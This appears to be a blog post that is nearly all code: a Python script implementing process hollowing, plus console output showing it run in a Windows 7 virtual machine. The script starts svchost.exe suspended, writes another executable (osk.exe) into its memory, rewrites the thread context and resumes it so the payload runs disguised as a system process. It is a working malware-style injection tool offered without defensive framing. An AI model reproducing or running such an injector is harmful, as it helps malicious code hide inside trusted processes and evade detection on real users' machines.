# cat blog >> /dev/brain 2> /proc/mind
cat blog >> /dev/brain 2> /proc/mind
> systeminfo | select -first 17 Host Name: IE10WIN7 OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7601 Service Pack 1 Build 7601 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: IEUser Product ID: 00392-972-8000024-85319 Original Install Date: 23/10/2013, 9:22:44 System Boot Time: 18/06/2016, 4:07:53 System Manufacturer: innotek GmbH System Model: VirtualBox System Type: X86-based PC Processor(s): 1 Processor(s) Installed. x64 Family 6 Model 60 Stepping 3 GenuineIntel ~2479 Mhz
> systeminfo | select -first 17
> cat dynamic_forking.py from ctypes import * from pefile import PE from sys import argv, exit payload_exe = argv[1] target_exe = argv[2] stepcount = 1 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873.aspx class PROCESS_INFORMATION(Structure): _fields_ = [ ('hProcess', c_void_p), ('hThread', c_void_p), ('dwProcessId', c_ulong), ('dwThreadId', c_ulong)] # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331.aspx class STARTUPINFO(Structure): _fields_ = [ ('cb', c_ulong), ('lpReserved', c_char_p), ('lpDesktop', c_char_p), ('lpTitle', c_char_p), ('dwX', c_ulong), ('dwY', c_ulong), ('dwXSize', c_ulong), ('dwYSize', c_ulong), ('dwXCountChars', c_ulong), ('dwYCountChars', c_ulong), ('dwFillAttribute', c_ulong), ('dwFlags', c_ulong), ('wShowWindow', c_ushort), ('cbReserved2', c_ushort), ('lpReserved2', c_ulong), ('hStdInput', c_void_p), ('hStdOutput', c_void_p), ('hStdError', c_void_p)] # https://msdn.microsoft.com/en-us/library/windows/desktop/ms681671.aspx class FLOATING_SAVE_AREA(Structure): _fields_ = [ ('ControlWord', c_ulong), ('StatusWord', c_ulong), ('TagWord', c_ulong), ('ErrorOffset', c_ulong), ('ErrorSelector', c_ulong), ('DataOffset', c_ulong), ('DataSelector', c_ulong), ('RegisterArea', c_ubyte * 80), ('Cr0NpxState', c_ulong)] # https://msdn.microsoft.com/en-us/library/windows/desktop/ms681670.aspx class CONTEXT(Structure): _fields_ = [ ('ContextFlags', c_ulong), ('Dr0', c_ulong), ('Dr1', c_ulong), ('Dr2', c_ulong), ('Dr3', c_ulong), ('Dr6', c_ulong), ('Dr7', c_ulong), ('FloatSave', FLOATING_SAVE_AREA), ('SegGs', c_ulong), ('SegFs', c_ulong), ('SegEs', c_ulong), ('SegDs', c_ulong), ('Edi', c_ulong), ('Esi', c_ulong), ('Ebx', c_ulong), ('Edx', c_ulong), ('Ecx', c_ulong), ('Eax', c_ulong), ('Ebp', c_ulong), ('Eip', c_ulong), ('SegCs', c_ulong), ('EFlags', c_ulong), ('Esp', c_ulong), ('SegSs', c_ulong), ('ExtendedRegisters', c_ubyte * 512)] def error(): print '[!] Error: ', GetLastError() print '[!] Error: ' + FormatError(GetLastError()) print '[!] Exiting' print '[!] The process may still be running' exit() print '[' + str(stepcount) + '] Creating Suspended Process' stepcount += 1 startupinfo = STARTUPINFO() startupinfo.cb = sizeof(STARTUPINFO) processinfo = PROCESS_INFORMATION() CREATE_SUSPENDED = 0x0004 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx if windll.kernel32.CreateProcessA( None, target_exe, None, None, False, CREATE_SUSPENDED, None, None, byref(startupinfo), byref(processinfo)) == 0: error() hProcess = processinfo.hProcess hThread = processinfo.hThread print '\t[+] Successfully created suspended process! PID: ' + str(processinfo.dwProcessId) print print '[' + str(stepcount) +'] Reading Payload PE file' stepcount += 1 f = open(payload_exe, 'rb') payload_data = f.read() f.close() payload_size = len(payload_data) print '\t[+] Payload size: ' + str(payload_size) print print '[' + str(stepcount) +'] Extracting the necessary info from the payload data.' stepcount += 1 payload = PE(data = payload_data) payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders payload_sections = payload.sections payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint payload.close() MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_READWRITE = 0x4 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887.aspx payload_data_pointer = windll.kernel32.VirtualAlloc( None, c_int(payload_size + 1), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) memmove( payload_data_pointer, # dst payload_data, # src payload_size) print '\t[+] Data from the PE Header:' print '\t\t[+] Image Base Address: ' + hex(payload_ImageBase) print '\t\t[+] Address of EntryPoint: ' + hex(payload_AddressOfEntryPoint) print '\t\t[+] Size of Image: ' + str(payload_SizeOfImage) print '\t\t[+] Pointer to data: ' + hex(payload_data_pointer) print print '[' + str(stepcount) +'] Getting Context' stepcount += 1 cx = CONTEXT() cx.ContextFlags = 0x10007 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679362.aspx if windll.kernel32.GetThreadContext( hThread, # src byref(cx) # dst ) == 0: error() print print '[' + str(stepcount) + '] Getting Image Base Address from target' stepcount += 1 base = c_int(0) # https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553.aspx windll.kernel32.ReadProcessMemory( hProcess, c_char_p(cx.Ebx + 8), # src byref(base), # dst sizeof(c_void_p), None ) target_PEBaddress = base print '\t[+] PEB address: ' + hex(target_PEBaddress.value) if target_PEBaddress == payload_ImageBase: # https://msdn.microsoft.com/en-us/library/windows/hardware/ff567119.aspx if not windll.ntdll.NtUnmapViewOfSection( hProcess, # process target_ImageBase # base address ): error() print print '[' + str(stepcount) +'] Allocation memory' stepcount += 1 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890.aspx address = windll.kernel32.VirtualAllocEx( hProcess, # process c_char_p(payload_ImageBase), # base pointer c_int(payload_SizeOfImage), # size MEM_COMMIT|MEM_RESERVE, # type of allocation PAGE_EXECUTE_READWRITE # memory protection ) if address == 0: error() print '\t[+] Allocated to: ' + hex(address) print print '[' + str(stepcount) +'] Writing Headers' stepcount += 1 lpNumberOfBytesWritten = c_size_t(0) # https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674.aspx if windll.kernel32.WriteProcessMemory( hProcess, c_char_p(payload_ImageBase), # dst c_char_p(payload_data_pointer), # src c_int(payload_SizeOfHeaders), # size byref(lpNumberOfBytesWritten) ) == 0: error() print '\t[+] Bytes written:', lpNumberOfBytesWritten.value print '\t[+] Pointer to data: ' + hex(payload_ImageBase) print '\t[+] Writing to: ' + hex(payload_data_pointer) print '\t[+] Size of data: ' + hex(payload_SizeOfHeaders) for section in payload_sections: dst = payload_ImageBase + section.VirtualAddress src = payload_data_pointer + section.PointerToRawData size = section.SizeOfRawData print print '[' + str(stepcount) +'] Writing section: ' + section.Name stepcount += 1 print '\t[+] Pointer to data: ' + hex(src) print '\t[+] Writing to: ' + hex(dst) print '\t[+] Size of data: ' + hex(size) lpNumberOfBytesWritten = c_size_t(0) if windll.kernel32.WriteProcessMemory( hProcess, c_char_p(dst), # dst c_char_p(src), # src c_int(size), # size byref(lpNumberOfBytesWritten) ) == 0: error() print '\t[+] Bytes written:', lpNumberOfBytesWritten.value print print '[' + str(stepcount) +'] Editing Context' stepcount += 1 cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint lpNumberOfBytesWritten = c_size_t(0) if windll.kernel32.WriteProcessMemory( hProcess, c_char_p(cx.Ebx + 8), # dst c_char_p(payload_data_pointer + 0x11C), # src c_int(4), byref(lpNumberOfBytesWritten) ) == 0: error() print '\t[+] Pointer to data: ' + hex(cx.Ebx + 8) print '\t[+] Writing to: ' + hex(payload_data_pointer + 0x11C) print '\t[+] Size of data: ' + hex(4) print '\t[+] Bytes written:', lpNumberOfBytesWritten.value print print '[' + str(stepcount) +'] Setting Context' stepcount += 1 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632.aspx windll.kernel32.SetThreadContext( hThread, # dst byref(cx)) # src context print print '[' + str(stepcount) +'] Resuming Thread' stepcount += 1 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms685086.aspx if windll.kernel32.ResumeThread( hThread ) == 0: error() print print '[' + str(stepcount) + '] Success'
cat dynamic_forking.py
> python dynamic_forking.py osk.exe svchost.exe [1] Creating Suspended Process [+] Successfully created suspended process! PID: 308 [2] Reading Payload PE file [+] Payload size: 646144 [3] Extracting the necessary info from the payload data. [+] Data from the PE Header: [+] Image Base Address: 0x1000000 [+] Address of EntryPoint: 0xc83a [+] Size of Image: 659456 [+] Pointer to data: 0x2600000 [4] Getting Context [5] Getting Image Base Address from target [+] PEB address: 0x8d0000 [6] Allocation memory [+] Allocated to: 0x1000000 [7] Writing Headers [+] Bytes written: 1024 [+] Pointer to data: 0x1000000 [+] Writing to: 0x2600000 [+] Size of data: 0x400 [8] Writing section: .text [+] Pointer to data: 0x2600400 [+] Writing to: 0x1001000 [+] Size of data: 0x24800 [+] Bytes written: 149504 [9] Writing section: .data [+] Pointer to data: 0x2624c00 [+] Writing to: 0x1026000 [+] Size of data: 0xc00 [+] Bytes written: 3072 [10] Writing section: .rsrc [+] Pointer to data: 0x2625800 [+] Writing to: 0x1028000 [+] Size of data: 0x75000 [+] Bytes written: 479232 [11] Writing section: .reloc [+] Pointer to data: 0x269a800 [+] Writing to: 0x109d000 [+] Size of data: 0x3400 [+] Bytes written: 13312 [12] Editing Context [+] Pointer to data: 0x7ffdf008L [+] Writing to: 0x260011c [+] Size of data: 0x4 [+] Bytes written: 4 [13] Setting Context [14] Resuming Thread [15] Success
python dynamic_forking.py osk.exe svchost.exe